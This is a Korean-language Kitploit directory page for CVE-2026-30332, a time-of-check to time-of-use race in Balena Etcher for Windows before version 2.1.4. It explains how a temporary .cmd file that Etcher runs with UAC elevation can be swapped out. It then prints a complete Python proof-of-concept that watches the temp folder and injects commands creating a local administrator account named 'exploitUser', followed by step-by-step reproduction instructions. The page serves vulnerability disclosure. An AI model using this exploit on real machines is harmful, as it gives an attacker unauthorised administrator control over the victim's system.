Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-30332 — Balena Etcher v2.1.4 이전 버전은 Windows에서 임시 파일 처리에 TOCTOU(Time-of-Check to Time-of-Use) 경쟁 조건의 영향을 받습니다. | Kitploit
도구/GitHubGitHub/b1tbreaker/cve-2026-30332
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitation
GitHubb1tbreaker/cve-2026-30332

CVE-2026-30332

Balena Etcher v2.1.4 이전 버전은 Windows에서 임시 파일 처리에 TOCTOU(Time-of-Check to Time-of-Use) 경쟁 조건의 영향을 받습니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-30332

설명

Balena Etcher for Windows 2.1.4 이전 버전에서 TOCTOU(Time-of-Check to Time-of-Use) 취약점이 확인되었습니다.
이 애플리케이션은 사용자가 쓰기 가능한 디렉터리에 임시 .cmd 파일을 생성한 후, UAC를 통해 상승된 권한으로 이를 실행합니다.
이로 인해 중간 무결성(medium integrity) 수준으로 현재 사용자 컨텍스트에서 실행 중인 애플리케이션 또는 프로세스가, 임시 스크립트가 실행되기 전에 악성 명령을 주입하여 높은 무결성(high integrity) 수준으로 권한을 상승시킬 수 있습니다.


기술 분석

사용자가 플래싱 프로세스를 시작하면 Etcher는 다음 순서를 수행합니다:

  1. 사용자가 쓰기 가능한 임시 디렉터리에 임시 .cmd 파일이 생성됩니다:
    C:\Users\<username>\AppData\Local\Temp\etcher\

  2. 파일에는 etcher-util.exe를 실행하는 데 필요한 환경 변수와 명령이 채워집니다.

  3. 스크립트는 Windows UAC를 통해 상승된 권한으로 실행됩니다.

취약점은 파일 생성과 실행 사이의 시간 차이에서 발생합니다. 이 짧은 시간 동안 동일한 사용자 컨텍스트에서 실행 중인 애플리케이션이 임시 디렉터리를 모니터링하고 합법적인 .cmd 파일을 악성 버전으로 교체할 수 있습니다. Etcher는 실행 전에 파일의 무결성을 검증하지 않으므로, 악성 코드가 상승된 권한으로 실행됩니다.


개념 증명(PoC)

다음 Python 스크립트는 Etcher 임시 디렉터리를 모니터링하고, .cmd 파일이 감지되면 새 로컬 관리자 계정을 생성하는 악성 페이로드를 해당 파일에 추가합니다.

root@kitploit:~
import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
    
    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()

재현 단계

  1. 명령 프롬프트를 열고 python exploit.py를 실행합니다. 스크립트는 Etcher가 생성하는 .cmd 파일을 위해 임시 디렉터리 모니터링을 시작합니다.

  1. Balena Etcher를 실행하고, 유효한 이미지 파일과 대상 USB/SD 장치를 선택한 다음 Flash를 클릭하여 플래싱 프로세스를 시작합니다.

  1. UAC 프롬프트가 나타나면 이를 수락하여 Etcher가 상승된 권한으로 계속 실행되도록 허용합니다.

  2. 익스플로잇 스크립트는 실행 직전에 임시 .cmd 파일을 감지하고 교체합니다. 스크립트가 상승된 권한으로 실행되면 주입된 명령이 실행되어 새 로컬 관리자 사용자(exploitUser)가 추가됩니다.

참고 자료

  • NVD NIST CVE 레코드
  • GitHub 이슈 – 취약점 보고서
도구 다운로드